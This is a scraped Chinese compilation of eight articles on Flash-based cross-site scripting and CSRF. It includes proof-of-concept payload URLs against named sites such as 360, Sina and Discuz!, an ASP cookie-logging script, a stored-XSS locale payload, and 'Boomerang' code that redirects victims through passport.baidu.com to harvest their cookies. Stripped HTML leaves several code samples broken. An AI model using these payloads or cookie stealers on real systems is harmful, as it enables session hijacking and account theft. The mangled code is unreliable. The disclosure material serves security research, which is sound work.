您现在的位置：首页 > 实用文 > 其他范文

Flash应用安全系列360反射型跨站脚本安全

时间：2022-07-21 08:26:50 其他范文收藏本文下载本文

下面是小编整理的Flash应用安全系列360反射型跨站脚本安全，本文共8篇，希望对大家有所帮助。

篇1：Flash应用安全系列360反射型跨站脚本安全

简要描述：

360某处Flash应用存在漏洞，可能导致跨站脚本攻击，

详细说明：

在一切开始之前，我们先来说明几个基本的问题。

1.SWF如何被嵌入HTML页面的

此处所说的嵌入，就是指当你打开一个网页，这个网页中包含着SWF媒体文件，通常是embed或者object标签的形式。SWF嵌入HTML时，embed或者object标签通常还含有几个特定的属性，关键的有allowScriptAccess以及allowNetworking。

allowScriptAccess控制着SWF文件与HTML页面通信的级别，这里所说的通信，包括但不仅限于让SWF执行JS，还囊括了从JS调用SWF里预留出的api接口。

allowScriptAccess有以下三个值：

always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时，samedomain为默认值。

allowNetworking控制着SWF文件与WEB通信的级别，这里所说的通信，基本上就是发送、读取网络上的资源文件，以及控制浏览器的页面导航。

allowNetworking有以下三个值：

all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时，all为默认值。

2.我直接打开SWF文件时发生了什么

如果你在直接打开SWF文件时，使用IE开发者工具或者Firebug查看DOM源码就会发现，其实你打开的还是一个HTML页面，页面的内容只有一行代码：

前面我们已经讲了两个基本的属性，这里都没有指定，那么Flash Player自动取其默认值：allowScriptAccess=samedomain & allowNetworking=all.

在明白了上面两点之后，我们就能下面几个容易让人混淆的问题作出解答：

- a.com 的html页面 embed 了一个 b.com 的xss.swf，脚本执行域是哪个域？- a.com 因为swf并不能执行JS，我们见到的他所执行的JS，其实是flash player通过调用承载他的html页面的js来实现的，所以是a.com。

- a.com 的html页面 iframe. 了一个 b.com 的xss.swf，脚本执行域是哪个域？- b.com 因为iframe了一个swf，其实是iframe了一个只有一行代码的HTML页面，html页面的域是b.com，故脚本的执行域也是b.com。

- a.com/load.swf能够加载任意的swf，我直接打开a.com/load.swf?url=b.com/xss.swf，能不能执行脚本？- 不能，因为直接打开一个swf，他的allowScriptAccess是samedomain，而xss.swf的域是b.com，所以不能执行JS。

Flash里能执行JS的脚本函数有以下：

getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])

我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字，然后在逆溯变量是否可控，就可以找到一些最基本的XSS漏洞。

以360的这个swf为例，

搜索ExternalInterface.call，我们发现了下面的代码，

public static function initLanguage : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[“CX0189”] = _loc_1[“CX0189”]; Param.language[“CX0193”] = _loc_1[“CX0193”]; _loc_1 = null; } } return;}

回溯Param.jsLang

this.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[“jsfunc”];...Param.initLanguage()

这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。

这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)

这里我们也许还有一个疑问，在官方的帮助文档里，flash.external.ExternalInterface.call可以接受两个参数，第一个是methodName，第二个是要传入的变量，那么对于上面的poc，正确的调用方法应该是flash.external.ExternalInterface.call(“alert”,“1”)才是，为什么flash.external.ExternalInterface.call(“alert(1)”)也能成功。

我们打开ie的调试工具，借用80vul.com上的demo，看看swf执行js时候发生了什么。

首先打开的是www.80vul.com/xss.swf?a=alert&b=1

try { __flash__toXML(alert(“1”)) ; } catch (e) { “”; }

__flash__toXML是将函数执行的结果进行编码后传回SWF的函数，外面再嵌套了一层容错语句，看来一切和预想的一样

再打开www.80vul.com/xss.swf?a=alert(2)&b=1

try { __flash__toXML(alert(2)(“1”)) ; } catch (e) { “”; }

JS先执行了alert(2)，弹出对话框。

再单步进入

alert函数没有返回值，alert(2)(“1”)出错，所以跳到了catch语句

这样一来，就能解释为什么即使不按adobe的文档说明的方法进行调用，也能执行js了，再多说一句，由于这样会引起出错导致SWF接收不到JS返回的值，所以在某些特定的情况下，我们要对插入的函数进行进一步的变化，比如

www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4

这样，SWF就可以接收到我们可以任意构造的返回值 5 了。

原始SWF下载：swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf

证明：

修复方案：

正则匹配下，只允许[a-zA-Z.]

篇2：基于flash的反射型xss的利用方法脚本安全

昨天在测试WEBQQ的时候，利用了这个，回头又在本地测试了一下，

----------------------------------------------------

在本地localhost建一个页面，进行了以下测试。

通过iframe调用传统的反射型XSS，因为iframe页面不同域，被IE9过滤器过滤掉，不执行。

< iframe/src=“xsst.sinaapp.com/example/1-1.php?page=”>

< /code>如果用普通的embed来嵌入FLASH的话，则弹出的是localhost，即当前测试网页的cookies

IE下测试：chrome会崩溃.www.xxx.com

< code>

< embed/src=“data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript.:''%22})()”allowscriptaccess=“always”>

< /code>但是用iframe来嵌入FLASH XSS的话，就有意思了

测试代码如下(IE)：

在chrome中，可能会导致浏览器崩溃，可以改用以下代码，

运行你会发现，弹出的是新浪域的cookies~

------------------------------------------

因此当我们发现www.A.com 域名下的一个flash XSS

我们可以在www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。

当受害者，打开了www.B.com的域名时，我们可以成功获取其在www.A.com的cookies数据！

篇3：跨站脚本攻防之道脚本安全

作者：Xylitol

译者：riusksk( 泉哥)

摘要：

1> 何为跨站（XSS）？

2> 存在跨站的代码

3> Cookie劫持

4> XSS防御

5 破坏方式

6 绕过字符过滤

7 Flash攻击

8 上传文件XSS

9 跨站钓鱼

何为跨站（XSS）？

XSS又叫CSS(Cross Site Script) ，跨站脚本攻击（译注：因为Cross Site Script的缩写是CSS，但CSS在网页设计领域中已经被广泛地层叠样式表，所以将Cross改为以发音相近的X作为缩写，但早期的文件还是会使用CSS来表示跨站脚本），它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。攻击者得到更高的权限后，可以利用存在漏洞的ActiveX控件，欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件（如间谍软件，远程控制软件，蠕虫等），也可以窃取机密的网页内容，会话的cookie以及许多其它信息。

2.存在XSS的代码

打开记事本，复制并粘贴以下脚本代码：

Simple XSS vulnerability by Xylitol

Search:

关键代码：

Search result :

echo $_POST['Vulnerability'];

By:

Search result :

if(isset($_POST['Vulnerability']))

{

echo htmlentities($_POST['Vulnerability']);

}

篇4：cookie.txt脚本适合,跨站,脚本安全

dim fs,log,logname,event

logname=“cookie_”& now & “.txt”

logname=replace(logname,“ ”,“_”)

logname=replace(logname,“-”,“_”)

logname=replace(logname,“:”,“.”)

logname=server.mappath(logname)

set event=request.servervariables(“QURYU_SRTING”)

set fs=server.createobject(“scripts.filesystemobject”)

log=fs.createtextfile(logname)

log.writeline event

log.close

set fs=nothing

reponse.redirect(“www.wolfexp.net/forum/index.php”)

篇5：存储型XSS脚本安全

如果把浏览器看作WEB2.0后时代的操作系统，那么客户端脚本就相当于传统的应用程序，而XSS的攻击方式其实就相当于在被攻击者的系统上执行了一个木马程序，但这种“木马”有个很大的缺点，就是无法像传统木马那样在操作系统中安家，以后还能自动执行。

前几个月发现了一种有趣的XSS漏洞，这种漏洞攻击一次后XSS代码就会被存储下来，以后每次访问被XSS的网站这个“木马”都会再自动执行。我在网上没有找到相关的资料，这里姑且称之为“存储型XSS”（如果有朋友之前看到过类似的文档，欢迎指教）。

原理其实也很简单，流程如下：

XSS代码被提交给网站-->网站把XSS代码SetCookie给浏览器-->浏览器再次请求网站时提交包含XSS代码的Cookie-->网站从Cookie中取出包含XSS代码的某变量并将该变量作为页面内容的一部分返回给客户端-->客户端执行XSS代码

XSS代码除了存储在客户端的Cookie中，也可能存储在服务器端，不过这种情形应该比较少。

比较常见的例子是提供多种语言支持的网站。用户在网站上设定要使用的语言，然后这个语言变量会被存储在Cookie或服务器端数据库。如在一些网页中可以看到类似这样的函数：

function getLocal {

var local;

local = 'zh_CN';

return local;

}

其中的local变量可能就是从客户端提交的Cookie或服务器数据库中取出的，

客户端请求如下URL：

tk.xfocus.org/setlocale.php?locale=zh_CN';return local;}alert(“XSS”);function dummy(){a='

“zh_CN';return local;}alert(“XSS”);function dummy(){a='”就会被作为语言信息存储下来。浏览器再去请求网站页面时，上面的函数就会变成这样：

function getLocal() {

var local;

local = 'zh_CN';return local;}alert(“XSS”);function dummy(){a='';

return local;

}

由于语言信息是需要全局使用的，所以一般网站的每个页面都会包含上面的代码。这样，“木马”就长存于“操作系统”中了。以后被攻击者每次访问该网站的每一个页面，都会执行这些XSS代码。

篇6：如何将反射型XSS变成持久型XSS：论跨域获取cookie脚本安全

Anehta中有许多的具有创意的设计，Boomerang ，回旋镖模块，正是其中一个，

回旋镖模块的作用，是为了跨域获取本地cookie。

Boomerang模块是专门针对IE设计的，对于Firefox的情况，可以使用xcookie模块，稍后会讨论。

Boomerang的工作原理：我们知道，浏览器被XSS攻击后，攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面，就可以继续用B站上的XSS_B控制用户的浏览器行为；那么把整个过程结合起来，简单表示如下：

victim Browser --->site A，XSS_A ---- redirect to ---->Site B，XSS_B ----- redirect somewhere --->.....

但是对于IE来说，想要通过XSS_B 获取 Site B的cookie是有一定的困难的，困难就在于，从site A发过来的request，是否带上了本地cookie。

我们知道，在IE中，iframe、img等标签都是拦截本地cookie的，于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法，但是window.open会被IE拦截弹出窗口，所以我在boomerang 中使用了表单提交，构造一个form，向site B提交，然后再从Site B导入一个XSS B，获取了cookie后，再通过表单提交，跳转回原来的Site A.

如果在Site B上，使用XSS_B再将页面重新定向回 Site A，那么对于用户来说，就是简单的闪了一下，非常具有欺骗性。

这个过程可以描述如下

由于在IE中，跳到了Site B后再跳回A，中间已经取到了B的cookie了，整个过程就像用回旋镖扔出去打了一下B一样，所以我把这个模块命名为回旋镖模块，英文是：Boomerang!

实现代码如下：

////////////////////////////////////////////////////////////

var target_domain = “passport.baidu.com”;

var target=“passport.baidu.com/?getmypass&username=/”];document.write('');//“;

// 前页面

var org_url = ”www.secwiki.com/anehta/demo.html“;

var org_domain = ”www.secwiki.com“;

// 如果是当前页面，则向目标提交

if ($d.domain == org_domain){

if (anehta.dom.checkCookie(”boomerang“) == false){

// 在cookie里做标记，只弹一次

anehta.dom.addCookie(”boomerang“, ”x“);

setTimeout( function (){

//alert(target);

try {

anehta.net.postForm(target);

} catch (e){

//alert(e);

}

50);

}

// 如果是目标站点，则重定向回前页面

if ($d.domain == target_domain){

//clx模块太慢了

anehta.logger.logCookie(); //记录cookie

setTimeout( function (){

// 弹回原来的页面，

anehta.net.postForm(org_url);

50);

}

可以注意到，在Site B上停留的时间只有50毫秒，是非常短暂的，而我们想做的事情已经做完了。

所有需要的一切，只是在B站上有一个XSS，种类不限，也就是说，不管是反射型XSS，还是持久型XSS，都能很好的完成我们的工作。

在以往，反射型XSS可能是鸡肋，但是通过回旋镖模块，我们变废为宝了！

在 Anehta 的demo页面，加入了针对回旋镖的演示. (注意在IE下，使用回旋镖，site B来不及打上水印，所以记录保存在 noWaterMark里)

www.secwiki.com/anehta/demo.html

后台 www.secwiki.com/anehta/admin.php

篇7：Discuz! flash Csrf bug脚本安全

由于Discuz!对flash跨域策略文件及上传图片文件处理不严导致可以绕过formhash及Referer的限制,导致csrf攻击.

author: 80vul-A

team:www.80vul.com

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过[1]一文的朋友应该意识到我们可以通过flash来进行csrf攻击.

一分析

首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下:

允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:

import RegExp;

var xml:XML = new XML;

xml.onData = function(s) {

tb1.text = getFirstMatch(new RegExp(”

}

System.security.loadPolicyFile(”192.168.1.102/crossdomain.xml“);

xml.load(”192.168.1.102/d.txt“);

熟悉as安全的人知道,flash已经修补了http头定义的漏洞,也就是说我们没有办法利用下面的代码:

.addRequestHeader(”Referer: foo/index.php?foo“,”www.80vul.com“);

来伪造Referer,但是我们可以通过类似于SODB--01里的利用通过把flash改为gif后缀上传到目标来突破,然后我们通过html远程调用这个gif来突破.

二利用

POC[测试Discuz!5.5 其他版本的请自己编写]如下:

flash的原文件:www.80vul.com/dzvul/sodb/01/sodb-2008-02.fla

as代码如下:

import RegExp;

System.security.loadPolicyFile(”www.80vul.com/bbs/crossdomain.xml“);

var xml:XML = new XML();

xml.onData = function(s) {

tb1.text = getFirstMatch(new RegExp(”

}

System.security.loadPolicyFile(”www.80vul.com/bbs/crossdomain.xml“);

xml.load(”www.80vul.com/bbs/admincp.php?action=members“);

function getFirstMatch(re, s, i) {

var m = null;

if ((m = re.exec(s)) != null) {

return m[i];

}

远程调用的html:

三补丁

等待官方补丁.

[删除crossdomain.xml不可以完全修补该漏洞,crossdomain.xml可以为容易文件名loadPolicyFile()调用就行,所以攻击者可以通过上传等上传改名了的crossdomain.xml]

四参考

[1]:superhei.blogbus.com/logs/13463505.html

篇8：若干flash xss漏洞分析脚本安全

漏洞一：

Parameters.getInstance().data = loaderInfo.parameters;

public function get onPlayStart():String{

return (_data[”onPlayStart“]);

}

ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);

ExternalInterface.call(Parameters.getInstance().onPlayStop);

ExternalInterface.call(Parameters.getInstance().onFileLoadedError);

漏洞二：

function reload(u, show_loading) {

if (show_loading == undefined) {

show_loading = true;

}

if (show_loading) {

_root.loading = new Loading(”Loading data...“);

}

var _local2 = ”“;

if (_root.data != undefined) {

_local2 = _root.data;

}

if (u != undefined) {

if (u.length > 0) {

_local2 = u;

}

_root.lv = undefined;

_root.lv = new LoadVars();

_root.lv.onLoad = LoadVarsOnLoad;

_root.lv.make_chart = make_chart;

_root.lv.make_pie = make_pie;

_root.lv.load(_local2);

}

漏洞三：

var csPreloader;

loader.loadClip(csPreloader, preloader_mc.target);

漏洞四：

this.loadXML(file);

function init(file, ploader, bookmark, contentpath)

container.init(csConfigFile, preloader_mc, csFilesetBookmark, contentpath);

var csConfigFile;

漏洞五：

getURL(_loc2, this.playList.currentClip().getLinkWindow());

var _loc2 = this.playList.currentClip().getLinkURL();

_loc1.getLinkURL = function ()

{

return (this.linkUrl);

}; www.2cto.com

var _loc1 = (_global.org.flowplayer.playlist.Clip = function (name, baseUrl, fileName, start, end, protected, enableControl, linkUrl, linkWindow, type, allowResize, overlayFileName, overlayId, live, showOnLoadBegin, maxPlayCount, info, thumbnailUrl, suggestedClipsInfoUrl, id, keywords)

{

this.linkUrl = linkUrl;

｝

漏洞六：

this.textField.htmlText = ['

', content, '

'].join('');

_global.sIFR = function (textField, content)

{ ……

this.write(content);

……

}